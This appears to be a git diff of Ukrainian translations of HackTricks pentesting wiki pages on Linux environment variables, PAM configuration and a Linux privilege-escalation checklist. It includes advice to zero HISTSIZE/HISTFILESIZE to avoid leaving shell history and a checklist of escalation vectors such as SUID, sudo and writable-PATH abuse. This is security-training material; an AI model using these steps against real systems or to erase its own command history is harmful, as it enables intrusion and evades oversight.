* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
**Група з безпеки Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -31,7 +32,7 @@
export MYGLOBAL="hello world"
echo $MYGLOBAL #Prints: hello world
```
Ця змінна буде доступна у вашому поточному сеансі та його дочірніх процесах.
Ця змінна буде доступна для ваших поточних сесій та їх дочірніх процесів.
Ви можете **видалити** змінну, виконавши:
```bash
@ -39,17 +40,13 @@ unset MYGLOBAL
```
## Локальні змінні
**Локальні змінні** можуть бути доступні тільки для **поточного оболонки/скрипта**.
**Локальні змінні** можуть бути **доступні** лише **поточній оболонці/скрипту**.
```bash
LOCAL="my local"
echo $LOCAL
unset LOCAL
```
## Вивести поточні змінні
```bash
printenv
```
## Список поточних змінних
```bash
set
env
@ -61,21 +58,21 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
З: [https://geek-university.com/linux/common-environment-variables/](https://geek-university.com/linux/common-environment-variables/)
* **DISPLAY** відображення, яке використовує **X**. Ця змінна зазвичай встановлена ​​на **:0.0**, що означає перше відображення на поточному комп'ютері.
* **DISPLAY** дисплей, що використовується **X**. Ця змінна зазвичай встановлюється на **:0.0**, що означає перший дисплей на поточному комп'ютері.
* **EDITOR** улюблений текстовий редактор користувача.
* **HISTFILESIZE** максимальна кількість рядків, що містяться в файлі історії.
* **HISTSIZE** Кількість рядків, доданих до файлу історії, коли користувач завершує свою сесію.
* **HISTSIZE** Кількість рядків, доданих до файлу історії, коли користувач закінчує свою сесію.
* **HOME** ваш домашній каталог.
* **HOSTNAME** ім'я хоста комп'ютера.
* **LANG** ваша поточна мова.
* **MAIL** розташування поштового ящика користувача. Зазвичай **/var/spool/mail/USER**.
* **MANPATH** список каталогів для пошуку сторінок посібника.
* **MAIL** місце розташування поштового спулу користувача. Зазвичай **/var/spool/mail/USER**.
* **MANPATH** список каталогів для пошуку сторінок довідки.
* **OSTYPE** тип операційної системи.
* **PS1** типовий промпт у bash.
* **PATH** зберігає шлях до всіх каталогів, які містять виконувані файли, які ви хочете виконати, просто вказавши ім'я файлу, а не відносний або абсолютний шлях.
* **PS1** стандартний запит у bash.
* **PATH** зберігає шлях до всіх каталогів, які містять бінарні файли, які ви хочете виконати, просто вказавши ім'я файлу, а не відносний або абсолютний шлях.
* **PWD** поточний робочий каталог.
* **SHELL** шлях до поточної оболонки команд (наприклад, **/bin/bash**).
* **TERM** поточний тип терміналу (наприклад, **xterm**).
* **SHELL** шлях до поточної командної оболонки (наприклад, **/bin/bash**).
* **TERM** тип поточного терміналу (наприклад, **xterm**).
* **TZ** ваш часовий пояс.
* **USER** ваше поточне ім'я користувача.
@ -83,68 +80,69 @@ cat /proc/`python -c "import os; print(os.getppid())"`/environ
### **HISTFILESIZE**
Змініть **значення цієї змінної на 0**, щоб при **завершенні сесії** файл історії (\~/.bash\_history) **був видалений**.
Змініть **значення цієї змінної на 0**, щоб коли ви **закінчите свою сесію**, **файл історії** (\~/.bash\_history) **був видалений**.
```bash
export HISTFILESIZE=0
```
### **HISTSIZE**
Змініть **значення цієї змінної на 0**, щоб при **завершенні сеансу** будь-яка команда не додавалася до **файлу історії** (\~/.bash\_history).
Змініть **значення цієї змінної на 0**, щоб, коли ви **закінчите свою сесію**, будь-яка команда не додавалася до **файлу історії** (\~/.bash\_history).
```bash
export HISTSIZE=0
```
### http\_proxy & https\_proxy
Процеси будуть використовувати **проксі**, вказаний тут, для підключення до Інтернету через **http або https**.
Процеси використовуватимуть **проксі**, оголошений тут, для підключення до Інтернету через **http або https**.
```bash
export http_proxy="http://10.10.10.10:8080"
export https_proxy="http://10.10.10.10:8080"
```
### SSL\_CERT\_FILE & SSL\_CERT\_DIR
Процеси будуть довіряти сертифікатам, вказаним у **цих змінних середовища**.
Процеси довірятимуть сертифікатам, вказаним у **цих змінних середовища**.
```bash
export SSL_CERT_FILE=/path/to/ca-bundle.pem
export SSL_CERT_DIR=/path/to/ca-certificates
```
### PS1
Змініть вигляд вашого промпта.
Змініть вигляд вашого запиту.
[**Це приклад**](https://gist.github.com/carlospolop/43f7cd50f3deea972439af3222b68808)
Root:
![](<../.gitbook/assets/image (87).png>)
![](<../.gitbook/assets/image (897).png>)
Звичайний користувач:
![](<../.gitbook/assets/image (88).png>)
![](<../.gitbook/assets/image (740).png>)
Один, два та три фонові завдання:
Одна, дві та три фонові задачі:
![](<../.gitbook/assets/image (89).png>)
![](<../.gitbook/assets/image (145).png>)
Одне фонове завдання, одне зупинене та остання команда не завершилася правильно:
Одна фонове завдання, одне зупинене, а остання команда не завершилася правильно:
![](<../.gitbook/assets/image (90).png>)
![](<../.gitbook/assets/image (715).png>)
**Група з високим рівнем безпеки**
**Спробуйте Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Вчіться та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вчіться та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі HackTricks** або **завантажити HackTricks у PDF** Перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github репозиторіїв.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на github.
</details>
{% endhint %}

View file

@ -1,29 +1,45 @@
# PAM - Pluggable Authentication Modules
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Support HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію рекламовану на HackTricks** або **завантажити HackTricks у форматі PDF**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) **і** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **репозиторіїв на GitHub**.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
#### [WhiteIntel](https://whiteintel.io)
## Базова інформація
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
**PAM (Pluggable Authentication Modules)** діє як механізм безпеки, який **перевіряє ідентичність користувачів, які намагаються отримати доступ до комп'ютерних служб**, контролюючи їх доступ на основі різних критеріїв. Це схоже на цифрового сторожа, який забезпечує, що лише авторизовані користувачі можуть взаємодіяти з конкретними службами, при цьому можливо обмежуючи їх використання для запобігання перевантаження системи.
[**WhiteIntel**](https://whiteintel.io) is a **dark-web** fueled search engine that offers **free** functionalities to check if a company or its customers have been **compromised** by **stealer malwares**.
### Файли конфігурації
Their primary goal of WhiteIntel is to combat account takeovers and ransomware attacks resulting from information-stealing malware.
- **Системи Solaris та UNIX** зазвичай використовують центральний файл конфігурації, розташований за шляхом `/etc/pam.conf`.
- **Системи Linux** віддають перевагу підходу з каталогами, зберігаючи конфігурації для конкретних служб у каталозі `/etc/pam.d`. Наприклад, файл конфігурації для служби входу знаходиться за шляхом `/etc/pam.d/login`.
You can check their website and try their engine for **free** at:
Приклад конфігурації PAM для служби входу може виглядати так:
```text
{% embed url="https://whiteintel.io" %}
***
### Basic Information
**PAM (Pluggable Authentication Modules)** acts as a security mechanism that **verifies the identity of users attempting to access computer services**, controlling their access based on various criteria. It's akin to a digital gatekeeper, ensuring that only authorized users can engage with specific services while potentially limiting their usage to prevent system overloads.
#### Configuration Files
* **Solaris and UNIX-based systems** typically utilize a central configuration file located at `/etc/pam.conf`.
* **Linux systems** prefer a directory approach, storing service-specific configurations within `/etc/pam.d`. For instance, the configuration file for the login service is found at `/etc/pam.d/login`.
An example of a PAM configuration for the login service might look like this:
```
auth required /lib/security/pam_securetty.so
auth required /lib/security/pam_nologin.so
auth sufficient /lib/security/pam_ldap.so
@ -35,27 +51,55 @@ password required /lib/security/pam_ldap.so
password required /lib/security/pam_pwdb.so use_first_pass
session required /lib/security/pam_unix_session.so
```
### **Реалми керування PAM**
#### **PAM Management Realms**
Ці реалми, або групи керування, включають **auth**, **account**, **password** та **session**, кожен відповідальний за різні аспекти процесу аутентифікації та керування сеансом:
Ці області, або групи управління, включають **auth**, **account**, **password** та **session**, кожна з яких відповідає за різні аспекти процесу аутентифікації та управління сесіями:
- **Auth**: Підтверджує ідентифікацію користувача, часто шляхом запиту пароля.
- **Account**: Обробляє перевірку облікового запису, перевіряючи умови, такі як членство в групі або обмеження за часом доби.
- **Password**: Керує оновленням пароля, включаючи перевірку складності або запобігання атакам словником.
- **Session**: Керує діями під час початку або завершення сеансу служби, такими як монтування каталогів або встановлення обмежень ресурсів.
* **Auth**: Підтверджує особу користувача, часто запитуючи пароль.
* **Account**: Обробляє перевірку облікового запису, перевіряючи умови, такі як членство в групі або обмеження за часом доби.
* **Password**: Керує оновленнями паролів, включаючи перевірки складності або запобігання атакам словників.
* **Session**: Керує діями під час початку або закінчення сесії служби, такими як монтування каталогів або встановлення обмежень ресурсів.
### **Керування модулем PAM**
#### **PAM Module Controls**
Керування визначає відповідь модуля на успіх або невдачу, впливаючи на загальний процес аутентифікації. Ці включають:
Контролі визначають реакцію модуля на успіх або невдачу, впливаючи на загальний процес аутентифікації. До них відносяться:
- **Required**: Невдача обов'язкового модуля призводить до кінцевої невдачі, але лише після перевірки всіх наступних модулів.
- **Requisite**: Негайне припинення процесу при невдачі.
- **Sufficient**: Успіх обходить решту перевірок того ж реалму, якщо наступний модуль не вдасться.
- **Optional**: Спричиняє невдачу лише у випадку, якщо він єдиний модуль у стеку.
* **Required**: Невдача обов'язкового модуля призводить до остаточної невдачі, але лише після перевірки всіх наступних модулів.
* **Requisite**: Негайне завершення процесу у разі невдачі.
* **Sufficient**: Успіх обходить решту перевірок того ж рівня, якщо наступний модуль не зазнає невдачі.
* **Optional**: Викликає невдачу лише якщо це єдиний модуль у стеку.
### Приклад сценарію
#### Example Scenario
У налаштуванні з кількома модулями аутентифікації процес відбувається відповідно до строгого порядку. Якщо модуль `pam_securetty` виявляє, що вхідний термінал несанкціонований, заборонені входи root, але всі модулі все ще обробляються через його статус "required". Модуль `pam_env` встановлює змінні середовища, що потенційно сприяє зручності користувача. Модулі `pam_ldap` та `pam_unix` співпрацюють для аутентифікації користувача, причому `pam_unix` намагається використати раніше введений пароль, підвищуючи ефективність та гнучкість методів аутентифікації.
У налаштуванні з кількома модулями auth процес слідує строгому порядку. Якщо модуль `pam_securetty` виявляє, що термінал для входу несанкціонований, вхід root блокується, але всі модулі все ще обробляються через його статус "required". Модуль `pam_env` встановлює змінні середовища, що потенційно покращує досвід користувача. Модулі `pam_ldap` та `pam_unix` працюють разом для аутентифікації користувача, причому `pam_unix` намагається використати раніше наданий пароль, підвищуючи ефективність і гнучкість методів аутентифікації.
### References
## References
* [https://hotpotato.tistory.com/434](https://hotpotato.tistory.com/434)
#### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) є **dark-web** пошуковою системою, яка пропонує **безкоштовні** функції для перевірки, чи була компанія або її клієнти **компрометовані** **stealer malwares**.
Їхня основна мета - боротися з захопленнями облікових записів та атаками програм-вимагачів, що виникають внаслідок шкідливого програмного забезпечення, що краде інформацію.
Ви можете перевірити їхній веб-сайт і спробувати їхній двигун **безкоштовно** за адресою:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}

View file

@ -1,87 +1,88 @@
# Чек-лист - Підвищення привілеїв в Linux
# Чеклист - Підвищення привілеїв в Linux
{% hint style="success" %}
Вивчайте та практикуйте AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Вивчайте та практикуйте GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>Вивчайте хакінг AWS від нуля до героя з</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>Підтримайте HackTricks</summary>
Інші способи підтримки HackTricks:
* Якщо ви хочете побачити вашу **компанію в рекламі на HackTricks** або **завантажити HackTricks у PDF-форматі**, перевірте [**ПЛАНИ ПІДПИСКИ**](https://github.com/sponsors/carlospolop)!
* Отримайте [**офіційний PEASS & HackTricks мерч**](https://peass.creator-spring.com)
* Відкрийте для себе [**Сім'ю PEASS**](https://opensea.io/collection/the-peass-family), нашу колекцію ексклюзивних [**NFT**](https://opensea.io/collection/the-peass-family)
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи telegram**](https://t.me/peass) або **слідкуйте** за нами на **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Поділіться своїми хакерськими трюками, надсилайте PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв GitHub.
* Перевірте [**плани підписки**](https://github.com/sponsors/carlospolop)!
* **Приєднуйтесь до** 💬 [**групи Discord**](https://discord.gg/hRep4RUj7f) або [**групи Telegram**](https://t.me/peass) або **слідкуйте** за нами в **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Діліться хакерськими трюками, надсилаючи PR до** [**HackTricks**](https://github.com/carlospolop/hacktricks) та [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) репозиторіїв на GitHub.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), щоб спілкуватися з досвідченими хакерами та мисливцями за багами!
Приєднуйтесь до [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) сервера, щоб спілкуватися з досвідченими хакерами та шукачами вразливостей!
**Інсайти щодо хакінгу**\
Взаємодійте з контентом, який досліджує захоплення та виклики хакінгу
**Хакерські інсайти**\
Залучайтеся до контенту, який занурюється в захоплення та виклики хакерства
**Новини про хакінг у реальному часі**\
Будьте в курсі швидкозмінного світу хакінгу завдяки новинам та інсайтам у реальному часі
**Новини хакерства в реальному часі**\
Будьте в курсі швидкоплинного світу хакерства через новини та інсайти в реальному часі
**Останні оголошення**\
Будьте в курсі нових баг-баунті, які запускаються, та важливих оновлень платформи
Залишайтеся в курсі нових програм винагород за вразливості та важливих оновлень платформ
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) та почніть співпрацювати з найкращими хакерами вже сьогодні!
**Приєднуйтесь до нас на** [**Discord**](https://discord.com/invite/N3FrSbmwdy) і почніть співпрацювати з провідними хакерами вже сьогодні!
### **Найкращий інструмент для пошуку векторів підвищення привілеїв в Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### **Найкращий інструмент для пошуку векторів підвищення локальних привілеїв в Linux:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS)
### [Інформація про систему](privilege-escalation/#system-information)
* [ ] Отримати **інформацію про ОС**
* [ ] Перевірити [**ШЛЯХ**](privilege-escalation/#path), будь-яка **записувальна тека**?
* [ ] Перевірити [**змінні середовища**](privilege-escalation/#env-info), будь-які чутливі дані?
* [ ] Шукати [**експлойти ядра**](privilege-escalation/#kernel-exploits) **за допомогою скриптів** (DirtyCow?)
* [ ] **Перевірити**, чи є [**уразлива версія sudo**](privilege-escalation/#sudo-version)
* [ ] Перевірити [**PATH**](privilege-escalation/#path), чи є **записувана папка**?
* [ ] Перевірити [**змінні середовища**](privilege-escalation/#env-info), чи є чутливі дані?
* [ ] Шукати [**вразливості ядра**](privilege-escalation/#kernel-exploits) **за допомогою скриптів** (DirtyCow?)
* [ ] **Перевірити**, чи [**версія sudo** вразлива](privilege-escalation/#sudo-version)
* [ ] [**Dmesg** перевірка підпису не вдалася](privilege-escalation/#dmesg-signature-verification-failed)
* [ ] Додаткова системна енумерація ([дата, статистика системи, інформація про процесор, принтери](privilege-escalation/#more-system-enumeration))
* [ ] [Енумерація додаткових захистів](privilege-escalation/#enumerate-possible-defenses)
* [ ] Більше системної енумерації ([дата, статистика системи, інформація про процесор, принтери](privilege-escalation/#more-system-enumeration))
* [ ] [**Перерахувати більше захистів**](privilege-escalation/#enumerate-possible-defenses)
### [Диски](privilege-escalation/#drives)
* [ ] **Список підключених** дисків
* [ ] Чи є **непідключений диск**?
* [ ] Чи є **дані авторизації в fstab**?
* [ ] **Перелічити змонтовані** диски
* [ ] **Якийсь незмонтований диск?**
* [ ] **Якісь облікові дані в fstab?**
### [**Встановлене програмне забезпечення**](privilege-escalation/#installed-software)
* [ ] **Перевірити наявність** [**корисного програмного забезпечення**](privilege-escalation/#useful-software) **встановленого**
* [ ] **Перевірити наявність** [**уразливого програмного забезпечення**](privilege-escalation/#vulnerable-software-installed) **встановленого**
* [ ] **Перевірити наявність** [**вразливого програмного забезпечення**](privilege-escalation/#vulnerable-software-installed) **встановленого**
### [Процеси](privilege-escalation/#processes)
* [ ] Чи працює яке-небудь **невідоме програмне забезпечення**?
* [ ] Чи працює яке-небудь програмне забезпечення з **більшими привілеями**, ніж має?
* [ ] Шукати **експлойти запущених процесів** (особливо версію, яка працює).
* [ ] Чи можете ви **змінити бінарний файл** будь-якого запущеного процесу?
* [ ] **Моніторинг процесів** та перевірка, чи працює який-небудь цікавий процес часто.
* [ ] Чи можете ви **читати** деяку цікаву **пам'ять процесу** (де можуть бути збережені паролі)?
* [ ] Чи є **невідоме програмне забезпечення, що працює**?
* [ ] Чи працює якесь програмне забезпечення з **більшими привілеями, ніж повинно**?
* [ ] Шукати **вразливості запущених процесів** (особливо версії, що працює).
* [ ] Чи можете ви **модифікувати бінарний файл** будь-якого запущеного процесу?
* [ ] **Моніторити процеси** і перевірити, чи працює якийсь цікавий процес часто.
* [ ] Чи можете ви **читати** деяку цікаву **пам'ять процесу** (де можуть зберігатися паролі)?
### [Заплановані/Cron завдання?](privilege-escalation/#scheduled-jobs)
### [Заплановані/cron завдання?](privilege-escalation/#scheduled-jobs)
* [ ] Чи **ШЛЯХ** ](privilege-escalation/#cron-path)модифікується якимось кроном і ви можете **писати** в нього?
* [ ] Якісь [**маски** ](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)у cron завданні?
* [ ] Деякий [**модифікований скрипт** ](privilege-escalation/#cron-script-overwriting-and-symlink)виконується або знаходиться в **модифікованій теки**?
* [ ] Чи виявлено, що деякі **скрипти** можуть бути або **виконуються дуже часто**](privilege-escalation/#frequent-cron-jobs)? (кожні 1, 2 або 5 хвилин)
* [ ] Чи змінюється [**PATH**](privilege-escalation/#cron-path) якимось cron і ви можете **записувати** в нього?
* [ ] Якийсь [**шаблон**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection) в cron завданні?
* [ ] Якийсь [**модифікований скрипт**](privilege-escalation/#cron-script-overwriting-and-symlink) виконується або знаходиться в **модифікованій папці**?
* [ ] Чи виявили ви, що якийсь **скрипт** може бути або виконується [**дуже часто**](privilege-escalation/#frequent-cron-jobs)? (кожні 1, 2 або 5 хвилин)
### [Служби](privilege-escalation/#services)
* [ ] Чи є **записувальний файл .service**?
* [ ] Чи є **записувальний бінарний файл**, який виконується **службою**?
* [ ] Чи є **записувальна тека в шляху systemd**?
* [ ] Якийсь **записуваний .service** файл?
* [ ] Якийсь **записуваний бінарний файл**, що виконується службою?
* [ ] Якась **записувана папка в системному PATH**?
### [Таймери](privilege-escalation/#timers)
* [ ] Чи є **записувальний таймер**?
* [ ] Якийсь **записуваний таймер**?
### [Сокети](privilege-escalation/#sockets)
* [ ] Чи є **записувальний файл .socket**?
* [ ] Якийсь **записуваний .socket** файл?
* [ ] Чи можете ви **спілкуватися з будь-яким сокетом**?
* [ ] **HTTP сокети** з цікавою інформацією?
@ -91,43 +92,44 @@
### [Мережа](privilege-escalation/#network)
* [ ] Енумерувати мережу, щоб знати, де ви знаходитесь
* [ ] **Відкриті порти, до яких ви не могли отримати доступ до отримання оболонки всередині машини?
* [ ] Чи можете ви **прослуховувати трафік** за допомогою `tcpdump`?
* [ ] Перерахувати мережу, щоб знати, де ви знаходитесь
* [ ] **Відкриті порти, до яких ви не могли отримати доступ раніше**, потрапивши в оболонку всередині машини?
* [ ] Чи можете ви **перехоплювати трафік** за допомогою `tcpdump`?
### [Користувачі](privilege-escalation/#users)
* [ ] Загальна **енумерація користувачів/груп**
* [ ] Чи у вас є **дуже великий UID**? Чи є **машини** **вразливими**?
* [ ] Чи можете ви [**підвищити привілеї завдяки групі**](privilege-escalation/interesting-groups-linux-pe/), до якої ви належите?
* [ ] Загальна **перерахування користувачів/груп**
* [ ] Чи маєте ви **дуже великий UID**? Чи **вразлива** **машина**?
* [ ] Чи можете ви [**підвищити привілеї завдяки групі**](privilege-escalation/interesting-groups-linux-pe/), до якої належите?
* [ ] **Дані буфера обміну**?
* [ ] Політика паролю?
* [ ] Спробуйте **використати** кожен **відомий пароль**, який ви вже виявили раніше, щоб увійти **з кожним** можливим **користувачем**. Спробуйте також увійти без пароля.
* [ ] Політика паролів?
* [ ] Спробуйте **використати** кожен **відомий пароль**, який ви раніше виявили, щоб увійти **з кожним** можливим **користувачем**. Спробуйте також увійти без пароля.
### [Записувальний ШЛЯХ](privilege-escalation/#writable-path-abuses)
### [Записуваний PATH](privilege-escalation/#writable-path-abuses)
* [ ] Якщо у вас є **права на запис у деякій теки в ШЛЯХ**, ви можете підвищити привілеї
* [ ] Якщо у вас є **права запису над якоюсь папкою в PATH**, ви можете підвищити привілеї
### [SUDO та SUID команди](privilege-escalation/#sudo-and-suid)
### [Команди SUDO та SUID](privilege-escalation/#sudo-and-suid)
* [ ] Чи можете ви виконати **будь-яку команду з sudo**? Чи можете ви використовувати її для ЧИТАННЯ, ЗАПИСУ або ВИКОНАННЯ чого-небудь як root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Чи є **експлойтований SUID бінарний файл**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Чи [**обмежені команди sudo** **шляхом**? чи можете ви **обійти** обмеження](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] Чи можете ви виконати **будь-яку команду з sudo**? Чи можете ви використовувати його для ЧИТАННЯ, ЗАПИСУ або ВИКОНАННЯ чого-небудь як root? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Чи є якийсь **вразливий SUID бінарний файл**? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] Чи [**обмежені** команди **sudo** **шляхом**? Чи можете ви **обійти** обмеження](privilege-escalation/#sudo-execution-bypassing-paths)?
* [ ] [**Sudo/SUID бінарний файл без вказаного шляху**](privilege-escalation/#sudo-command-suid-binary-without-command-path)?
* [ ] [**SUID бінарний файл з вказаним шляхом**](privilege-escalation/#suid-binary-with-command-path)? Обхід
* [ ] [**Уразливість LD\_PRELOAD**](privilege-escalation/#ld\_preload)
* [ ] [**Відсутність .so бібліотеки в SUID бінарному файлі**](privilege-escalation/#suid-binary-so-injection) з записувальної теки?
* [ ] [**Доступні токени SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Чи можете створити токен SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
* [ ] Чи можете [**читати або змінювати файли sudoers**](privilege-escalation/#etc-sudoers-etc-sudoers-d)?
* [ ] Чи можете [**змінювати /etc/ld.so.conf.d/**](privilege-escalation/#etc-ld-so-conf-d)?
* [ ] [**SUID бінарний файл з вказаним шляхом**](privilege-escalation/#suid-binary-with-command-path)? Обійти
* [ ] [**LD\_PRELOAD вразливість**](privilege-escalation/#ld\_preload)
* [ ] [**Відсутність .so бібліотеки в SUID бінарному файлі**](privilege-escalation/#suid-binary-so-injection) з записуваної папки?
* [ ] [**Доступні токени SUDO**](privilege-escalation/#reusing-sudo-tokens)? [**Чи можете ви створити токен SUDO**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)?
